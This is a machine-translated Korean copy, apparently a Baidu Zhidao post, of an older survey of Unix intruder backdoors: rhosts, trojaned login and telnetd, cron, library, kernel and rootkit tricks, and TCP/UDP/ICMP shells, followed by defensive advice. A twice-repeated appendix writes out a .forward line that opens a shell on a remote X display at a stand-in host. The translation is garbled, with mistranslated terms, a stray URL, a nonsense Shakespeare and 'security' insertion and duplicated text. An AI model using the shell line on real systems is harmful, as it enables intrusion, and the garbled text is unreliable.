/정상적인 조작 절차에 따르면 프로그래머는 소프트웨어가 사용자에게 전달되기 전에 소프트웨어 모듈의 뒷문을 제거해야 합니다. 그러나 프로그래머의 부주의나 고의로 프로그램에 남겨 두었기 때문에 나중에 완료된 프로그램을 테스트하거나 유지 관리할 수 있도록 비밀리에 액세스할 수 있기 때문에 제거되지 않았습니다.
이렇게 하면 뒷문이 프로그램 저자에 의해 몰래 이용될 수도 있고, 다른 꿍꿍이가 있는 소수의 사람들이 철저한 수색을 통해 발견되어 이용될 수도 있다.
/c? B2% C3% B4% 3b% ca% C7% 3b% ba% F3% C3% C5 & Url =/article% 5fshow% 2easp% 3fitec id% 3d4777 & B = 0 & AMPA = 29& 사용자 = 바이두
뒷문이 뭐예요?
초기 컴퓨터 침입자 이후, 그들은 해킹된 시스템으로 돌아갈 수 있도록 기술이나 뒷문을 개발하려고 노력해 왔습니다. 이 문서에서는 Unix 시스템의 백도어에 초점을 맞춘 많은 일반적인 백도어 및 테스트 방법에 대해 설명합니다. 동시에 우리는 앞으로 나타날 Windows NT 의 뒷문에 대해 토론할 것이다. 이 문서에서는 침입자가 사용하는 방법, 관리자가 침입자가 반환하는 기본 사항을 차단하는 방법 등 복잡한 내용을 측정하는 방법에 대해 설명합니다. 관리자들이 침입자가 일단 침입하면 그들을 막기 어렵다는 것을 알게 되면, 그들은 첫 번째 침입을 더욱 적극적으로 저지할 것이다. 이 글은 많은 인기 초급 및 고급 침입자가 뒷문을 만드는 방법을 다루고 있지만 가능한 모든 방법을 포괄하지는 않을 것이다.
대부분의 침입자의 뒷문에는 2 ~ 3 가지 목적이 있습니다.
관리자가 유사한 방식으로 모든 비밀번호를 변경하여 보안을 높임에도 불구하고 다시 침입할 수 있어 다시 발견될 가능성을 최소화할 수 있습니다. 대부분의 뒷문은 로그를 피하려고 시도하고 있으며, 대부분의 경우 침입자가 시스템을 사용하고 있더라도 자신이 온라인 상태임을 나타낼 수 없습니다. 경우에 따라 침입자가 관리자가 설치된 뒷문을 감지할 수 있다고 판단되면 시스템의 취약점을 유일한 뒷문으로 사용하여 시스템을 반복적으로 공격합니다. 이는 관리자의 주의를 끌지 않습니다. 그래서 이 경우, 기계의 취약성은
비밀번호가 뒷문을 해독하다
이것은 침입자가 사용하는 가장 오래되고 오래된 방법이다. 유닉스 시스템에 액세스할 수 있을 뿐만 아니라 비밀번호를 해독하여 뒷문을 만들 수도 있다. 약한 비밀번호를 사용하는 계정입니다. 앞으로 관리자가 침입자의 현재 계정을 차단해도 이 새 계정은 다시 침입할 수 있는 뒷문이 될 수 있습니다. 대부분의 경우 침입자는 사용되지 않는 약한 암호 계정을 찾아 변경하기가 더 어렵습니다. 관리자는 비밀번호가 약한 계정을 찾을 때 비밀번호가 수정된 계정을 찾을 수 없습니다.
Rhosts ++ 후면 도어
네트워크로 연결된 Unix 시스템에서 Rsh 및 Rlogin 과 같은 서비스는 rhosts 파일의 호스트 이름을 기반으로 하는 간단한 인증 방법을 사용합니다. 사용자는 암호 없이 쉽게 설정을 변경할 수 있습니다. 침입자는 액세스할 수 있는 사용자의 rhosts 파일에 "+"만 입력하면 됩니다. 누구나 암호 없이 어디에서나 이 계정에 들어갈 수 있습니다. 특히 홈 디렉토리가 NFS 를 통해 외부 공유될 때 침입자는 이에 더 관심이 있습니다. 이 계좌들은 또한 침입자가 다시 침입하는 뒷문이 되었다. 많은 사람들은 일반적으로 로깅 기능이 부족하기 때문에 Rsh 사용을 선호합니다. 많은 파이프
관리자는 종종 "++"를 확인하므로 침입자는 실제로 인터넷에서 다른 계정의 호스트 이름과 사용자 이름을 설정하므로 쉽게 찾을 수 없습니다.
체크섬 및 타임 스탬프 백도어
초기에는 많은 침입자들이 자신의 트로이 목마 프로그램으로 이진 파일을 대체했습니다. 시스템 관리자는 * 타임스탬프 및 시스템 체크섬 프로그램 (예: Unix 의 sum 프로그램) 을 기준으로 이진 파일이 변경되었는지 여부를 확인할 수 있습니다. 침입자는 트로이 목마 파일의 타임스탬프를 원본 파일과 동기화할 수 있는 새로운 기술을 개발했습니다. 구현 방법은 다음과 같습니다. 먼저 시스템 시계를 원래 파일 시간으로 다시 설정한 다음 트로이 목마 파일의 시간을 시스템 시간으로 조정합니다. 이진 트로이 목마 파일이 원본 파일과 정확하게 동기화되면 시스템 시간을 다시 현재 시간으로 설정할 수 있습니다. Sum 프로그램은 CRC 검증을 기반으로 하며 매우 간단합니다.
부정행위를 했다. 침입자는 트로이 목마의 체크섬을 원본 파일의 체크섬로 조정하는 프로그램을 설계했다. MD5 는 대부분의 사람들이 추천하는 것으로, 현재 MD5 가 사용하는 알고리즘을 속일 수 있는 사람은 아무도 없다.
뒷문에 로그인하다
Unix 에서 로그인 프로그램은 일반적으로 텔넷 사용자의 비밀번호를 인증하는 데 사용됩니다. 침입자는 login.c 의 원본 코드를 가져와 입력 암호와 저장 암호를 비교하기 전에 뒷문 암호를 확인하도록 수정했습니다. 사용자가 뒷문 비밀번호를 입력하면 관리자가 설정한 비밀번호를 무시하고 바로 들어갈 수 있습니다. 이를 통해 침입자가 모든 계정에 들어갈 수 있습니다. 뿌리까지. 뒷문 암호는 사용자가 실제로 로그인하여 utmp 및 wtmp 에 로그인하기 전에 액세스를 생성하므로 침입자는 계정을 노출하지 않고 로그인하여 셸을 얻을 수 있습니다. 관리인이 뒷문을 알아차린 후, 그는
Strings 명령을 사용하여 로그인 프로그램에서 텍스트 정보를 검색합니다. 많은 경우 뒷문 비밀번호가 노출된다. 침입자는 비밀번호를 암호화하거나 더 잘 숨기기 시작하므로 문자열 명령이 무효화됩니다. 그래서 더 많은 관리자들이 MD5 체크섬을 사용하여 이 뒷문을 탐지합니다.
원격 로그인 백도어
사용자 텔넷이 시스템에 연결되면 수신 포트의 inetd 서비스가 연결을 수락하고 로그인을 실행하는 in.telnetd 에 전달합니다. 일부 침입자는 관리자가 로그인이 수정되었는지 확인하기 위해 in.telnetd, in.telnetd 에 사용자 정보 테스트 (예: 사용자가 사용하는 터미널) 를 수정하기 시작합니다. 일반적인 터미널 설정은 Xterm 또는 VT 100 입니다. 침입자는 이러한 뒷문을 만들 수 있으며, 터미널이 "letmein" 으로 설정되어 있으면 인증 없이 셸이 생성됩니다. 침입자는 특정 서비스에 대해 뒷문을 만들어 특정 소스 포트에서 연결을 만들었습니다.
껍데기를 만들다
서비스 뒷문
거의 모든 인터넷 서비스는 침입자가 뒷문을 이용했다. Finger, rsh, rexec, rlogin, FTP, 심지어 inetd 등 여러 가지 버전이 있습니다. 그 중 일부는 TCP 포트에 연결된 셸일 뿐 뒷문 비밀번호를 통해 액세스할 수 있습니다. 이 프로그램들은 때때로 가시덤불을 사용한다. Ucp 등 사용되지 않은 서비스는 inetd.conf 에 새 서비스로 추가됩니다. 관리자는 실행 중인 서비스에 주의를 기울이고 MD5 를 사용하여 원본 서비스 프로그램을 확인해야 합니다.
크랑조브 뒷문
Unix 의 Cronjob 은 일정에 따라 특정 프로그램이 실행되도록 예약할 수 있습니다. 침입자는 뒷문 셸에 가입하여 1AM 과 2AM 사이에서 실행할 수 있으므로 매일 밤 한 시간 동안 액세스할 수 있습니다. 그들은 또한 Cronjob 에서 자주 실행되는 합법적인 프로그램을 점검하고 뒷문에 둘 수도 있다.
후문
거의 모든 유닉스 시스템은 * * * 를 사용하여 라이브러리를 공유합니다. * * * 동일한 함수를 재사용하고 코드 길이를 줄입니다. 일부 침입자는 _crypt.c 및 _ crypt.c 와 같은 함수에서 뒷문을 만들고, login.c 와 같은 프로그램은 crypt () 를 호출하고 백도어 비밀번호를 사용할 때 셸을 생성합니다. 따라서 관리자가 MD5 로 로그인 프로그램을 확인하더라도 백도어 함수를 생성할 수 있습니다. 그리고 많은 관리자들도 창고에 뒷문이 있는지 확인하지 않을 것이다. 많은 침입자들은 문제가 있다: 일부 관리자들은 모든 것에 대해 MD5 검사를 실시한다. 한 가지 방법은 침입자의 뒷문 open () 및 파일 액세스 함수를 허용하는 것입니다. 백도어 기능은 원본 파일을 읽지만 목마 백도어 프로그램을 실행합니다. 따라서 MD5 가 이 파일들을 읽을 때 체크섬은 문제없다. 그러나 시스템이 실행 중일 때 트로이 목마 버전이 실행됩니다. 트로이 목마 라이브러리 자체조차도 MD5 검증을 피할 수 있다. 관리자에게는 뒷문을 찾을 수 있는 방법이 있습니다. 즉, MD5 유효성 검사기를 정적으로 연결하고 실행하는 것입니다. 정적 연결 프로그램은 트로이 목마 * * * 를 사용하여 라이브러리를 즐기지 않습니다.
커널 백도어
커널은 유닉스 작업의 핵심이다. 라이브러리에서 MD5 인증을 방지하는 방법은 정적 연결도 인식할 수 없는 커널 수준에도 적용됩니다. 좋은 뒷문이 있는 커널은 관리자가 가장 찾기 어려운 것이다. 다행히도 커널의 뒷문 프로그램은 쉽게 구할 수 있는 것이 아니며, 그것이 실제로 전파되는 범위가 얼마나 넓은지 모두가 알고 있다.
파일 시스템 백도어
침입자는 약탈물이나 데이터를 서버에 저장해야 하는데, 관리자는 찾을 수 없습니다. 침입자의 문장 중에는 일반적으로 취약성 스크립팅 도구, 백도어 세트, 스니퍼 로그, e-메일의 대체 부분, 원본 코드 등이 포함됩니다. 때때로 관리자가 이렇게 큰 파일을 찾지 못하도록 침입자는' ls',' du',' fsck' 를 복구하여 특정 디렉토리와 파일을 숨겨야 한다. 매우 낮은 수준에서 침입자는 하드 드라이브의 일부를 독점 형식으로 잘라내어 불량 섹터로 표시하는 취약점을 만들었습니다. 따라서 침입자는 이러한 숨겨진 파일에 액세스하기 위해 특수 도구만 사용할 수 있습니다. 보통
관리자에게는 이러한' 불량 섹터' 에서 파일 시스템을 찾기가 어렵고 실제로 존재합니다.
트렁크 뒷문
PC 세계에서는 많은 바이러스가 루트 영역에 숨겨져 있습니다. 바이러스 백신 소프트웨어는 루트 영역이 변경되었는지 확인하는 것입니다. 유닉스에서는 대부분의 관리자가 루트 영역의 소프트웨어를 확인하지 않으므로 일부 침입자는 루트 영역에 뒷문을 남겨 둡니다.
프로세스 백도어 숨기기
침입자는 보통 그들이 실행 중인 프로그램을 숨기려 한다. 이러한 프로그램은 일반적으로 암호 해독 프로그램과 스니퍼입니다. 이를 수행하는 방법에는 여러 가지가 있습니다. 이는 비교적 일반적입니다. 프로그램을 작성할 때 argv[] 를 수정하여 다른 프로세스 이름처럼 보이게 합니다. In.syslog 처럼 스니퍼 프로그램의 이름을 바꾸고 실행할 수 있습니다. 따라서 관리자가 실행 중인 프로세스를' PS' 로 검사하면 표준 서비스 이름이 나타납니다. 라이브러리 함수를 수정하여 다른 프로세스 이름처럼 보이게 할 수 있습니다.
Ps' 는 모든 프로세스를 표시할 수 없습니다. 인터럽트 드라이브에 뒷문이나 프로그램을 포함시켜 프로세스 테이블에 나타나지 않도록 할 수 있습니다. 이 기술을 사용하는 뒷문의 한 가지 예는 amod.tar.gz 입니다.
E 루트는 마법의 암호를 통해 로그인으로 전송됩니다.
Ic-ifconfig 가 수정되어 출력에서 PROMISC 플래그가 제거되었습니다.
Ps:-프로세스를 숨깁니다.
Ns-일부 시스템과의 연결을 숨기도록 netstat 이 수정되었습니다.
Ls-일부 디렉토리와 파일을 숨깁니다.
하드 드라이브에 얼마나 많은 공간이 사용되고 있는지 숨기세요.
Ls5-일부 파일 및 디렉토리를 숨깁니다.
네트워크 액세스 백도어
침입자는 시스템에서 그들의 흔적을 숨기려 할 뿐만 아니라, 그들의 네트워크 트래픽도 숨기려 한다. 이러한 네트워크 트래픽 백도어를 통해 침입자가 방화벽을 통해 액세스할 수 있는 경우가 있습니다. 침입자가 일반 서비스 없이 포트 번호를 설정할 수 있도록 하는 네트워크 백도어 프로그램이 많이 있습니다. 비표준 네트워크 포트를 통한 트래픽이기 때문에 관리자는 침입자의 발자국을 무시할 수 있습니다. 이 백도어는 일반적으로 TCP, UDP 및 ICMP 를 사용하지만 다른 유형의 메시지일 수도 있습니다.
Tcp 셸 백도어
침입자는 방화벽에 의해 차단되지 않는 높은 TCP 포트에 이러한 TCP 셸 백도어를 설정할 수 있습니다. 대부분의 경우 암호를 사용하여 관리자가 연결 직후 셸 액세스를 볼 수 없도록 합니다. 관리자는 netstat 명령을 사용하여 현재 접속 상태, 수신 중인 포트 및 현재 접속 컨텍스트를 확인할 수 있습니다. 일반적으로 이러한 뒷문을 통해 침입자는 TCP 패키징 기술을 피할 수 있습니다. 이러한 백도어는 SMTP 포트에 배치할 수 있으며 많은 방화벽에서 e-메일을 통과할 수 있습니다.
Udp 셸 백도어
관리자는 종종 TCP 연결에 관심을 갖고 이상한 상황을 관찰하지만 UDP Shell 의 뒷문에는 이러한 연결이 없으므로 netstat 은 침입자의 액세스 흔적을 표시할 수 없습니다. 많은 방화벽이 UDP 메시지 (예: DNS) 통과를 허용하도록 설정되어 있습니다. 일반적으로 침입자는 UDP 셸을 이 포트에 배치하고 방화벽을 통과할 수 있습니다.
ICMP 셸 후면 도어
Ping 은 ICMP 패킷을 송수신하여 기계 활동을 감지하는 일반적인 방법 중 하나입니다. 많은 방화벽에서 외부 사용자가 내부 시스템에 대해 Ping 을 수행할 수 있습니다. 침입자는 ping ICMP 패킷에 데이터를 넣어 ping 된 시스템 사이에 셸 채널을 형성할 수 있습니다. 관리자는 대량의 ping 패킷을 알아차릴 수 있지만, 패킷의 데이터를 보지 않는 한 침입자는 신분을 노출하지 않습니다.
연결을 암호화합니다
관리자가 일부 데이터에 액세스를 시도하도록 스니퍼를 설정했을 수 있지만 침입자가 네트워크 백도어를 암호화할 때 두 시스템 간의 전송 내용을 확인할 수 없습니다.
Windows 운영 체제
Windows NT 는 Unix 처럼 여러 사용자가 한 대의 시스템에 쉽게 액세스할 수 없기 때문에 침입자가 Windows NT 에 침입하여 뒷문을 설치하고 그곳에서 공격을 시작하는 것은 매우 어렵습니다. 따라서 Unix 에서 다양한 사이버 공격을 더 자주 볼 수 있습니다. WindowsNT 가 다중 사용자 기술을 향상시킬 때 침입자는 Windows NT 를 더 자주 사용합니다. 만약 이 날이 정말 온다면, 많은 유닉스 백도어 기술이 Windows Unix 에 이식될 것이며, 관리자는 침입자가 오기를 기다릴 수 있다. 오늘, Windows NT 에는 이미 텔넷 데몬이 있다. 사이버 뒷문을 통해 침입자는 Windows NT 에 설치할 수 있다는 것을 알게 되었습니다. (네트워크 트래픽 포함
뒷문, 그들은 침입자가 Windows NT 에 설치되는 것을 매우 두려워한다. : (
해결하다
뒷문 기술이 발전할수록 관리자는 침입자가 후자를 침범했는지, 성공적으로 가로막았는지 판단하기가 더 어려워집니다.
추정
가장 먼저 해야 할 일은 자신의 네트워크의 취약점을 사전 예방적이고 정확하게 추정하여 취약점의 존재를 확인하고 복구하는 것이다. 많은 비즈니스 도구는 네트워크와 시스템의 취약점을 스캔하고 검사하는 데 사용됩니다. 공급업체의 보안 패치만 설치한다면 많은 회사의 보안이 크게 향상될 것이다.
MD5 기준 요소
시스템 (보안) 스캔의 중요한 요소 중 하나는 MD5 체크섬 기준선입니다. MD5 기준선은 해커가 침입하기 전에 깨끗한 시스템에 의해 세워졌다. 일단 해커가 침입하여 뒷문을 세우고 기준선을 세우면 뒷문이 합병된다. 일부 회사들은 침입을 당했고, 시스템은 몇 달 동안 뒷문으로 방치되었다. 모든 시스템 백업에는 대부분 백도어가 포함되어 있습니다. 회사가 해커를 발견하고 후원을 요청하여 뒷문을 제거하라고 요청했을 때, 모든 노력은 헛수고였다. 왜냐하면 그들은 시스템을 복구하는 동시에 뒷문을 회복했기 때문이다. 침략 전에 완성해야 한다.
침입 탐지
다양한 조직이 인터넷을 서핑하고 자체 컴퓨터에 연결할 수 있게 됨에 따라 침입 탐지가 점점 더 중요해지고 있습니다. 과거에는 대부분의 침입 탐지 기술이 로그를 기반으로 했습니다. 최신 침입 탐지 시스템 기술 (IDS) 은 실시간 차단 및 네트워크 트래픽 보안 분석을 기반으로 합니다. 최신 IDS 기술은 DNS UDP 메시지를 탐색하여 DNS 프로토콜의 요구 사항을 충족하는지 확인할 수 있습니다. 데이터가 프로토콜을 준수하지 않는 경우 ICMP 패킷에 동일한 원리를 적용하여 데이터가 프로토콜 요구 사항을 충족하는지 또는 암호화된 셸 세션이 로드되었는지 확인할 수 있습니다.
Cd 로 부팅합니다
일부 관리자는 침입자가 CD 에서 뒷문을 만들 가능성을 제거하기 위해 CD 로 시작하는 것을 고려합니다. 이 접근법의 문제는 구현 비용과 시간이 기업이 맞설 수 있다는 것이다.
경고
보안 분야의 급격한 변화로 매일 새로운 허점이 발표되고 침입자도 끊임없이 새로운 공격 방식을 설계하여 뒷문을 설치하고 있다. (윌리엄 셰익스피어, 보안, 보안, 보안, 보안, 보안, 보안, 보안, 보안, 보안) 안전한 기술이 없다. 간단한 수비는 없고 꾸준한 노력밖에 없다는 것을 명심하세요!
(어떤 방어도 만유의 것이 없고, 대체할 것도 없다는 점에 유의하시기 바랍니다.
근면한 관심. 이 말은 어떻게 번역합니까? : ()
--
다음을 추가해야 할 수도 있습니다.
。 뒷문으로 향하다
유닉스 시스템에서는 명령을 에 넣습니다. 전달 문서도
액세스를 복구하는 일반적인 방법입니다. 계정' 사용자 이름' 의 경우
대답。 전달 파일은 다음과 같이 구성할 수 있습니다.
\ 사용자 이름
| "/usr/local/x11/bin/xterm-disphacksys.other.dom: 0.0
/bin/sh "
이 방법의 변화에는 시스템 메일의 변화가 포함됩니다.
별칭 파일 (일반적으로 /etc/aliases 에 있음). 주의하다
이것은 간단한 배열이고, 더 고급스럽고, 쉽게 실행할 수 있습니다.
전달 파일의 스크립트는 다음을 통과 할 수 있습니다.
Stdin (작은 전처리 후).
부언: 위 방법은 한 회사에 입사하는 데도 유용합니다
Mailhub (공유 홈 디렉토리 FS 가 있다고 가정)
& ampnbs & gt
클라이언트 및 서버) 을 참조하십시오.
& gt 는 smrsh 를 사용하여 이 뒷문을 효과적으로 부정할 수 있습니다 (비록 상당하긴 하지만)
Elm 과 같은 필터를 허용하면 & gt
& gt 는 프로그램의 procmail 을 직접 실행할 수 있습니다 ...).
다음을 추가해야 할 수도 있습니다.
앞문 뒷문
명령을 에 배치합니다. 유닉스에서 파일을 전달하는 것은 액세스 권한을 다시 얻는 일반적인 방법입니다. 을 눌러 섹션을 인쇄할 수도 있습니다. 계정' 사용자 이름' 의 전달은 다음과 같이 설정할 수 있습니다.
\ 사용자 이름
| "/usr/local/x11/bin/xterm-disphacksys.other.dom: 0.0
이 방법의 변형에는 시스템 메시지의 별칭 파일 변경 (일반적으로 /etc/aliases 에 있음) 이 포함됩니다. 이것은 단순한 전환일 뿐입니다. 더 진보 된 사람들은 할 수 있습니다. Forward 는 작은 사전 처리 후 표준 입력에서 임의의 명령을 실행합니다. > smrsh 를 사용하면 이러한 백도어 프로그램을 효과적으로 차단할 수 있습니다 (elm 의 filter 또는 Procmail >: Class 프로그램에 문제가 있을 수 있음) ...
참고 자료:
Zhidao.baidu.com 입니다